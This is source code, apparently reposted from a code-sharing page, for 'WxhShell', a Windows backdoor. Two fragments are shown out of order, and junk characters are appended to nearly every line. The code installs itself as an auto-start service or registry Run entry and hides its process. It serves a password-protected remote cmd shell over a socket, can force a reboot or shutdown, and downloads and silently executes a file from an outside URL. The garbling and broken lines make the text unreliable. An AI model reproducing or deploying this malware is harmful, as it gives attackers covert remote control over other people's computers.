    break; hlFvm$P`M  
    } 2E@g#:3  
  // 关机 +4V"&S|&  
  case 'd': { N`+@_.iBX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $mn+  
    if(Boot(SHUTDOWN)) AhQsv.t   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o= &/ ;X  
    else { -S 0dr8E  
    closesocket(wsh); z W*Z  
    ExitThread(0); ,b74 m  
    } YeB)]$'?u`  
    break; /,JL \b  
    } `\Te,  
  // 获取shell 4AYW'j C  
  case 's': { sNsWz.DLT#  
    CmdShell(wsh); M ~5Ja0N~  
    closesocket(wsh); &o7"L;  
    ExitThread(0); X"S")BQ q  
    break; t?h\Af4Tf  
  } bjql<x5d  
  // 退出 U^&y*gX1  
  case 'x': { '(SqHP|8&g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \{a 64  
    CloseIt(wsh); kD#hfYs)i  
    break; 1!A 'mkk8  
    } W4]jx ]  
  // 离开 w %R=kY)o  
  case 'q': { %( #kJZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iV.j!H7o  
    closesocket(wsh); 'J_6SD  
    WSACleanup(); :F pt>g  
    exit(1); ah15 ,<j  
    break; 1U8/.x|  
        } 1a'0cSH  
  } 2I0Zr;\f  
  } @c;:D`\p1C  
R&MetQ~-{  
  // 提示信息 im"3n=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }/aqh;W  
} Kk6i  
  } uex([;y  
.CEl{fofj  
  return; k .W1bF9n6  
} II{"6YI>  
C |P(,Xp  
// shell模块句柄 \'>d.'d  
int CmdShell(SOCKET sock) 7-4S'rq+  
{ *iXaQuT  
STARTUPINFO si; DUvF  
ZeroMemory(&si,sizeof(si)); C ,#D4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sdXZsQw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FXFyF*w2  
PROCESS_INFORMATION ProcessInfo; 1_5]3+r_U-  
char cmdline[]="cmd"; `tJ"wpCf6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Wrs6t  
  return 0; ;I]$N]8YI  
} o*:D/"gb  
b$=c(@]  
// 自身启动模式 -02.n}u>  
int StartFromService(void) ]I(<hDuRp  
{ vec4R )S  
typedef struct $DhW=(YM_a  
{ !]=S A &  
  DWORD ExitStatus; ONm-zRx|  
  DWORD PebBaseAddress; 6U%F mE@  
  DWORD AffinityMask; +lw*/\7  
  DWORD BasePriority; ETrL3W<  
  ULONG UniqueProcessId; GUUd(xS {  
  ULONG InheritedFromUniqueProcessId; ]TSzT"_r~~  
}   PROCESS_BASIC_INFORMATION; #P;vc{ Iq  
@8U8>'zDE  
PROCNTQSIP NtQueryInformationProcess; F 8 gw3  
nD#uOep9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q;9OqArq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "~6IjW*/  
RBV*e9P%  
  HANDLE             hProcess; I4MZ JAYk  
  PROCESS_BASIC_INFORMATION pbi; !'8jy_<9  
eD0|6P;Ei  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FUs57 V  
  if(NULL == hInst ) return 0; F3&:KZ!V&m  
yIqRSqM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yI.hN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GLa_[9 "  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IS%e5  
 K<?[^\  
  if (!NtQueryInformationProcess) return 0; $c7Utm s  
%Hy.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *a@78&N  
  if(!hProcess) return 0; Gu# wH  
 @zSj&4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (?kCo  
# #/ l  
  CloseHandle(hProcess); gwN y]!  
>o! 5)\F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *DPKV$  
if(hProcess==NULL) return 0; /|,:'W%U  
Y!3i3D  
HMODULE hMod; oE$zOS&2  
char procName[255]; Ql? >,FZ  
unsigned long cbNeeded; F7U$ 7(I2G  
HC(o;,spO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?<D1] Xv  
ky@DH(^>  
  CloseHandle(hProcess); `a]feAl  
CAbT9W z&  
if(strstr(procName,"services")) return 1; // 以服务启动 P B"nf|pm  
_QiGrC  
  return 0; // 注册表启动 ~Ut?'}L( d  
} >^Y)@ J  
h#]LXs  
// 主模块 \\$wg   
int StartWxhshell(LPSTR lpCmdLine) K"g`,G6S  
{ !=(M P:  
  SOCKET wsl; . /~#  
BOOL val=TRUE; qaEWK0  
  int port=0; )/uCdSDIc  
  struct sockaddr_in door; {z7kW@c  
a'B 5m]%  
  if(wscfg.ws_autoins) Install(); ./Wi(p{F  
<*5`TE0J  
port=atoi(lpCmdLine); [OQ+&\  
mM-7 j z  
if(port<=0) port=wscfg.ws_port; T*zy^we  
yrV]I(Xe  
  WSADATA data; 7:X@lmBz=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bXK$H=S Bz  
2hE+Om^n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q7SRf$4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  b~Oc:  
  door.sin_family = AF_INET; vL~j6'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ){xMMQ5  
  door.sin_port = htons(port); & 6~AY :0r  
G-W(giF;NO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uG 7ll5Yy  
closesocket(wsl); :hUt7/3c  
return 1; X.JPM{]  
} .*+e?-  
81Ityd-}  
  if(listen(wsl,2) == INVALID_SOCKET) { sr`)l&t?  
closesocket(wsl); N t_7Z  
return 1; *;<>@*  
} bb"x^DtT  
  Wxhshell(wsl); Fn*)!,)  
  WSACleanup(); PZSi}j/  
5vjtF4}7!  
return 0; =\)qUs\z  
#(d /A<  
} j8{,u6w)-  
CO.e.:h  
// 以NT服务方式启动 A.(xa+z?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r_e]sOCb  
{ F=8gtk|U  
DWORD   status = 0; +@#k<.yqn  
  DWORD   specificError = 0xfffffff; Mgc|>#=  
:y(HOUB  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  Dv-ubki  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P>;uS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4dUr8]BkG  
  serviceStatus.dwWin32ExitCode     = 0; J5*(PxDF  
  serviceStatus.dwServiceSpecificExitCode = 0; Xsv^GmP+  
  serviceStatus.dwCheckPoint       = 0; eVujur$P  
  serviceStatus.dwWaitHint       = 0; t7b\#o  
a OTrng  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Qq5Fx9kU  
  if (hServiceStatusHandle==0) return; \C;F5AO  
]6TX)1  
status = GetLastError(); J)a^3>  
  if (status!=NO_ERROR) /_CSRi&  
{ 7s.vJdA]6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A_<1}8{L  
    serviceStatus.dwCheckPoint       = 0; &Un^ _M  
    serviceStatus.dwWaitHint       = 0; Pqb])-M9p  
    serviceStatus.dwWin32ExitCode     = status; ]>k>Z#8E*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7="I;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J-+p]xG  
    return; /d]{ #,k  
  } `=rDB7!$yL  
Q>[GD(8k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %2`geN<  
  serviceStatus.dwCheckPoint       = 0; wNhtw'E8  
  serviceStatus.dwWaitHint       = 0; zHW}A `Rz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,.PmH.zjmR  
} ?ZlN$h^  
R|O."&CAB  
// 处理NT服务事件,比如:启动、停止 PvB-Cqc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L(i0d[F  
{ :h60  
switch(fdwControl) Z*Jp?[##  
{ + q@g  
case SERVICE_CONTROL_STOP: sH{ 4.tw  
  serviceStatus.dwWin32ExitCode = 0; $Y31Y A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u!K5jqP  
  serviceStatus.dwCheckPoint   = 0; =K\.YKT  
  serviceStatus.dwWaitHint     = 0; =}Xw}X+[WY  
  { xyc`p[n &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 29GcNiE`T  
  } g7nqe~`{  
  return; 6qzyeli  
case SERVICE_CONTROL_PAUSE: ql c{k/ u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =pR'XF%  
  break; (D rDWD4_  
case SERVICE_CONTROL_CONTINUE: ~q05xy8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R=u!Rcv R  
  break; <zE~N~;  
case SERVICE_CONTROL_INTERROGATE: }_"<2|~_  
  break; l Vc':,z  
}; _4h[q4Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >zY~")|R(  
} mzh7E[S_,i  
Wo8.tu-2  
// 标准应用程序主函数 z'd*z[L~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NamO5(1C  
{ dqo&3^px  
qGPIKu  
// 获取操作系统版本 #Mmr{4m  
OsIsNt=GetOsVer(); cl3Dwrf?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -McDNM  
j[y,Jc h  
  // 从命令行安装 z Qhc V  
  if(strpbrk(lpCmdLine,"iI")) Install(); h`:f  
3 h~U)mg  
  // 下载执行文件 4c/.#?  
if(wscfg.ws_downexe) { }m0hq+p^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xh raf1v3\  
  WinExec(wscfg.ws_filenam,SW_HIDE); #_}r)q  
} L:3  
Zn9ecN  
if(!OsIsNt) { {&Es3+{A  
// 如果时win9x,隐藏进程并且设置为注册表启动 mbh;oX+  
HideProc(); o$,Dh?l  
StartWxhshell(lpCmdLine); ra*(.<&  
} Kx@;LRY#  
else r%DaBx!x8  
  if(StartFromService()) cKbsf ^R[e  
  // 以服务方式启动 eLc@w<yB  
  StartServiceCtrlDispatcher(DispatchTable);  /i  
else `lA[-x~  
  // 普通方式启动 4|[)D/N  
  StartWxhshell(lpCmdLine); qwx{U  
ZyQ+}rO  
return 0; .qjdi`v  
} #O2e[ E-  
!-gjA@Pk  
W n43TSs-  
a="\?L5  
=========================================== q VcZF7  
,V}Vxq3  
.*>pD/  
v)AadtZ0d  
r=o\!sh[  
FaUc"J  
" :0)nL  
-<GSHckD  
#include <stdio.h> 6*92I  
#include <string.h> ka$oUB)iQ  
#include <windows.h> d/4kF  
#include <winsock2.h> lp=8RbQYC  
#include <winsvc.h> (#"iZv,  
#include <urlmon.h> A>dA&'~R  
iig ({b  
#pragma comment (lib, "Ws2_32.lib") 0`L>t  
#pragma comment (lib, "urlmon.lib") ?6[X=GeUs  
c3NUJ~>=y  
#define MAX_USER   100 // 最大客户端连接数 p0S;$dH\ D  
#define BUF_SOCK   200 // sock buffer C@8WY  
#define KEY_BUFF   255 // 输入 buffer qIIl,!&}A  
+@c-:\K%  
#define REBOOT     0   // 重启 j%y)%4F8  
#define SHUTDOWN   1   // 关机 yA#-}Y|]b  
> l@ o\  
#define DEF_PORT   5000 // 监听端口 wK[Xm'QTPJ  
U;Ne"Jh  
#define REG_LEN     16   // 注册表键长度 Q:4euhz*  
#define SVC_LEN     80   // NT服务名长度 qr~= S  
}1/`<m  
// 从dll定义API ,9:0T LLR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `p. O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k}o*=s>M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IT~pp _6g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NgXV|) L  
8a SH0dX  
// wxhshell配置信息 T)QT_ST.9  
struct WSCFG { EhBYmc" &  
  int ws_port;         // 监听端口 *`HE$k!  
  char ws_passstr[REG_LEN]; // 口令 "7T9d)  
  int ws_autoins;       // 安装标记, 1=yes 0=no kroO~(\  
  char ws_regname[REG_LEN]; // 注册表键名 iA[WDB\|0  
  char ws_svcname[REG_LEN]; // 服务名 Ef2#}%>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o/U"'FP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \?X'U:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^8#;>+7R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D\ H) uV`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a &89K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &74*CO9B9  
-'9sn/  
}; ZrA OX'>u9  
i1kTP9  
// default Wxhshell configuration 0R0j7\{  
struct WSCFG wscfg={DEF_PORT, XZk?aik}`  
    "xuhuanlingzhe", jPjFp35;zb  
    1, Td`0;R'<}c  
    "Wxhshell", dGrm1w  
    "Wxhshell", @6roW\'$  
            "WxhShell Service", HP /@ _qk  
    "Wrsky Windows CmdShell Service", [7:(e/&  
    "Please Input Your Password: ", '#fwNbD  
  1, mJ3|UClPS  
  "http://www.wrsky.com/wxhshell.exe", <CJ`A5N  
  "Wxhshell.exe" sBo|e]m#  
    }; w53+k\.  
zeZ}P>C  
// 消息定义模块 r^$4]@Wn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dIUg e`O9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k7\h- yn{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^q uv`d  
char *msg_ws_ext="\n\rExit."; UUF;Q0X  
char *msg_ws_end="\n\rQuit."; iw$n*1M  
char *msg_ws_boot="\n\rReboot..."; ?5>Ep:{+/  
char *msg_ws_poff="\n\rShutdown..."; 'z=QV{ni  
char *msg_ws_down="\n\rSave to "; Y_}DF.>I P  
NG2@.hP:uU  
char *msg_ws_err="\n\rErr!"; wV9[Jl\Z  
char *msg_ws_ok="\n\rOK!"; Hz&.]yts2J  
2JV,A Zf  
char ExeFile[MAX_PATH]; ^@&RJa-kb  
int nUser = 0; BpGK`0H  
HANDLE handles[MAX_USER]; UqP %S$9  
int OsIsNt; % e@Jc 3  
!/6`< eQ `  
SERVICE_STATUS       serviceStatus; jNIZ!/K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zuR F6?un  
L)sCc0fv7k  
// 函数声明 B@Ae2_;  
int Install(void); m 8Q[+_:$H  
int Uninstall(void); "2}E ARa  
int DownloadFile(char *sURL, SOCKET wsh); #^>5,M2  
int Boot(int flag); Vko1{$}t  
void HideProc(void); tWNz:V  
int GetOsVer(void); !]W}I  
int Wxhshell(SOCKET wsl); 5jpb`Axj#  
void TalkWithClient(void *cs); *:q,G  
int CmdShell(SOCKET sock); p&:(D=pIu  
int StartFromService(void); RSNukg  
int StartWxhshell(LPSTR lpCmdLine); Mpm#a0f  
d@:4se-q+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s5s'$|h"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z"# /,?|3@  
6+MZ39xC  
// 数据结构和表定义 gZFtV  
SERVICE_TABLE_ENTRY DispatchTable[] = o771q}?&`  
{ bGl5=`  
{wscfg.ws_svcname, NTServiceMain}, IXmtjRv5  
{NULL, NULL} 2xchjU-  
}; %D(% lh2  
LV:`si K  
// 自我安装 +=5Dt7/|  
int Install(void) QT5,_+ho  
{ K#B)@W?9  
  char svExeFile[MAX_PATH]; M-Az2x;6  
  HKEY key; <fJ*{$[p  
  strcpy(svExeFile,ExeFile); $_6DvJ0  
H)s$0Xd  
// 如果是win9x系统,修改注册表设为自启动 L y!!+UM\  
if(!OsIsNt) { 8H>: C (h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e7j3 0Iy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PTu~PVbp4  
  RegCloseKey(key); ;+dB-g[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =]pcC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ax=k0%M[&  
  RegCloseKey(key); `dH[&=S  
  return 0; ;_yp@.,\T  
    } l3sL!D1u  
  } -NG`mfu  
} BwN65_5p  
else { PQmgv&!DP  
; 7`y##  
// 如果是NT以上系统,安装为系统服务 m)A~1+M$)L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Q:m0P xb  
if (schSCManager!=0) lbw*T  
{ n]/7UH}(<&  
  SC_HANDLE schService = CreateService (z}q6Lfa  
  ( DQ{Yr>J  
  schSCManager, >f [Lb|t  
  wscfg.ws_svcname,  )"im|9  
  wscfg.ws_svcdisp, L}bS"=B[&W  
  SERVICE_ALL_ACCESS, ?jywW$   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < c[+60p"  
  SERVICE_AUTO_START, #6[7q6{ 4  
  SERVICE_ERROR_NORMAL, ,&II4;F  
  svExeFile, .c[v /SB]  
  NULL, MCOz-8@|Y  
  NULL, =R08B)yR  
  NULL, r@_`ob RW;  
  NULL, aj1o   
  NULL >Lh+(M;+F  
  ); F[Dhj,C"  
  if (schService!=0) .=WsB@+   
  { KJ Gh)  
  CloseServiceHandle(schService); Z:l.{3J$  
  CloseServiceHandle(schSCManager); 0ciPH:V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kKV`9&dZe  
  strcat(svExeFile,wscfg.ws_svcname); hw?'aXK{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ('/5#^%R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fm@G@W7,m  
  RegCloseKey(key); J?\z{ ;qa  
  return 0; x[Xj[O  
    } C3Mr)  
  } 5B [kZ?>  
  CloseServiceHandle(schSCManager); a'f0Wv0%"  
} *5DOTWos  
} [p%@ pV  
MLV_I4o  
return 1; <$WRc\}&g  
} Cd:ofv/3  
bgW=.s  
// 自我卸载 V9:h4]  
int Uninstall(void) DP=4<ES%+  
{ n3, ?klK  
  HKEY key; D2$"!7O1H  
'Ldlo+*|5  
if(!OsIsNt) { FF:Y7wXW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9kcp(  
  RegDeleteValue(key,wscfg.ws_regname); b?#k  
  RegCloseKey(key); 2QUZAV\ Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eGrC0[SH  
  RegDeleteValue(key,wscfg.ws_regname); >gAq/'.Q  
  RegCloseKey(key); KmoPFlw  
  return 0; @\,WJmW  
  } V j\1 HQ  
} .6Swc?  
} &8R%W"<K  
else { \29a@6  
=]h5RC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }(AgXvRq  
if (schSCManager!=0) #un#~s 7Q  
{ gn&jNuGg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Oe!*|?mS  
  if (schService!=0)  Py$*c  
  { 5gP#V K  
  if(DeleteService(schService)!=0) { `nA_WS  
  CloseServiceHandle(schService); a9 =,P  
  CloseServiceHandle(schSCManager); r2A(GUz  
  return 0; m2[q*k]AtS  
  } 73?ZB+\)0A  
  CloseServiceHandle(schService); ^ q]BCOfJ(  
  } GWZ0!V  
  CloseServiceHandle(schSCManager); Ds|/\cI$%a  
} vpOn0([hS  
} 5_U3Fs  
vmI]N  
return 1; _5I" %E;S  
} } FcWzi  
| fAt[e_E  
// 从指定url下载文件 |r"1 &ow5  
int DownloadFile(char *sURL, SOCKET wsh) Sr)rKc  
{ Ic 4>kKh  
  HRESULT hr; Zfyr& ]"  
char seps[]= "/"; {s}@$rW  
char *token; cT abZc  
char *file; s8T} ah!  
char myURL[MAX_PATH]; OHeVm-VC  
char myFILE[MAX_PATH]; @&;y0N1xo  
k~WX6rEJ  
strcpy(myURL,sURL); AY['!&T  
  token=strtok(myURL,seps); "(/ 1]EH`  
  while(token!=NULL) noiUi>G;:  
  { 6 flc  
    file=token; \HFeEEKH  
  token=strtok(NULL,seps); g+gHIb7{  
  } f/G YDat  
;+XiDEX0}  
GetCurrentDirectory(MAX_PATH,myFILE); "J(#|v0  
strcat(myFILE, "\\"); iivuH2/~?[  
strcat(myFILE, file); pX ]K-  
  send(wsh,myFILE,strlen(myFILE),0); mc_`:I=  
send(wsh,"...",3,0); D\8~3S'd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :(EU\yCzK  
  if(hr==S_OK) x0wy3+GZc  
return 0; dxlaoyv:  
else 2ul!f7#E  
return 1; 7-81,ADv(  
HABMFv  
} -fu=RR  
SesJg~8  
// 系统电源模块 %RgCU$s[>  
int Boot(int flag) c;l d  
{ /X)fWO S6  
  HANDLE hToken; e$|g  
  TOKEN_PRIVILEGES tkp; ) 'x4#5]  
%7q,[g8  
  if(OsIsNt) { <\c 5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /7X:=~m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H)1< ;{:  
    tkp.PrivilegeCount = 1; xfw)0S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |S#)[83*3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O G#By6O  
if(flag==REBOOT) { |Euf:yWY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M H }4F  
  return 0; eS9/- Y  
} HErTFY+vC  
else { rgheq<B:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) weC$\st:D  
  return 0; SLRQ3<0W_  
} (u@p[ncN}  
  } `WHP#z  
  else { T%K"^4k  
if(flag==REBOOT) { `V[{(&?,n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +~RiCZt  
  return 0; b 8v?@s~  
} jI0gQ [  
else { B@dA?w.x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p;Kw$fQ?  
  return 0; 1{R 1:`  
} R+IT)2  
} :.Vn  
.x7d!t:(D  
return 1; ~0r:Wcj x  
} bY7d  
K:/%7A_{  
// win9x进程隐藏模块 5=/H2T!F  
void HideProc(void) i[A$K~f  
{ ,o\v umx  
!u@e^J{Ao  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 09pnM|8A  
  if ( hKernel != NULL ) ai[st+1  
  { WP7*Q:5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }; !S2+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GMRw+z4  
    FreeLibrary(hKernel); `yJpDGh  
  } !]7r>NS>  
'"Q;54S**  
return; lw0l86^Y  
} IBr?6_\%"4  
U#R=y:O?  
// 获取操作系统版本 ]Ow A>fb  
int GetOsVer(void) 7:t+  
{ Hj"`z6@7  
  OSVERSIONINFO winfo; _c?&G`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J< BBM.^]  
  GetVersionEx(&winfo); b_@MoL@A!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dM8`!~#&PI  
  return 1; 0t ?:  
  else lpLjfHr  
  return 0; Mp9wYM*  
} _!kL7qJ"  
%{g<{\@4(;  
// 客户端句柄模块 Dsc{- <v  
int Wxhshell(SOCKET wsl) U7(84k\j  
{  Hrm^@3  
  SOCKET wsh; z/(^E8F  
  struct sockaddr_in client; BXy g ?  
  DWORD myID; Fu:VRul=5$  
h^ea V,x>=  
  while(nUser<MAX_USER) 9 m MPkgc  
{ ^2}0lP|  
  int nSize=sizeof(client); H->J.5~,K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V9qA.NV2  
  if(wsh==INVALID_SOCKET) return 1; `Xvrf  
[f,; +Ze  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZW n j-  
if(handles[nUser]==0) JlJy3L8L  
  closesocket(wsh); + DFG762  
else >.N?y@  
  nUser++; XhjH68S(  
  } E c[-@5x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OD 09XO  
 +T02AS  
  return 0; ^=@L(;Y  
} M \rW  
oA`'~~!  
// 关闭 socket ys|a ^VnN  
void CloseIt(SOCKET wsh) B B*]" gT  
{ wB~Ag$~  
closesocket(wsh); Z}6   
nUser--; $Kn{x!,"(  
ExitThread(0); 86$9)UI  
} +c!v%uX  
C;#vW FE  
// 客户端请求句柄 hs< )<  
void TalkWithClient(void *cs) D9^.Eg8W  
{ n!e4"|4~z  
;@ xSJqT  
  SOCKET wsh=(SOCKET)cs; o8c4h<,  
  char pwd[SVC_LEN]; F @ lJk|*_  
  char cmd[KEY_BUFF]; |%.V{vgP7  
char chr[1]; .jW+\mIX  
int i,j; ` MtI>x c  
;(AVZxCM  
  while (nUser < MAX_USER) { wd&Tf R4!  
ew8f7S[  
if(wscfg.ws_passstr) { udYk 6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Zgh[a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9M{z@H/  
  //ZeroMemory(pwd,KEY_BUFF); nw|ls2   
      i=0; [O92JT:li  
  while(i<SVC_LEN) { G\4h4% a  
$/sIdFZi  
  // 设置超时 6'+;5M!  
  fd_set FdRead; W,'30:#Fr7  
  struct timeval TimeOut; H|&[,&M>  
  FD_ZERO(&FdRead); w3oh8NRs_  
  FD_SET(wsh,&FdRead); Ux5pw  
  TimeOut.tv_sec=8; f&x7g.I  
  TimeOut.tv_usec=0; k4Ed7T-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <RQ\nU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `{BY {  
= rDoXm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); co^kP##Y  
  pwd=chr[0]; H]2cw{2  
  if(chr[0]==0xd || chr[0]==0xa) { jinDKJ,n;  
  pwd=0; \=3V]7\&  
  break; . Z 93S|q  
  } QEo i9@3  
  i++; Jb+cC)(  
    } TV#X@jQ  
uEqL Dg  
  // 如果是非法用户,关闭 socket NVqJN$z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^5n"L2 9V  
} }cUq1r-bW  
Te&F2`vo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fHK`u'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #qqIOjS^w  
I6!~(ND7  
while(1) { ?86q8E3;&  
A"Q6GM2;Io  
  ZeroMemory(cmd,KEY_BUFF); l!z)gto  
~wtl\-cY  
      // 自动支持客户端 telnet标准   iK&s_}i:  
  j=0; M'gw-^(  
  while(j<KEY_BUFF) { A#/O~-O^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M:&g5y&  
  cmd[j]=chr[0]; RlJt+lnV  
  if(chr[0]==0xa || chr[0]==0xd) { ?J[m)Uo/ K  
  cmd[j]=0; !>gi9z,  
  break; J${'?!N  
  } };{V]f 0  
  j++; WBcnE( zF  
    } l0hcNEj{W  
w"?H4  
  // 下载文件 yb{ud  
  if(strstr(cmd,"http://")) { OEMYS I%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BllS3I}V  
  if(DownloadFile(cmd,wsh)) =z_.RE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `r?xo7  
  else AXbDCDA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AP1Eiv<Hub  
  } )?es3Ehqq  
  else { ry^FJyjW  
.;),e#  
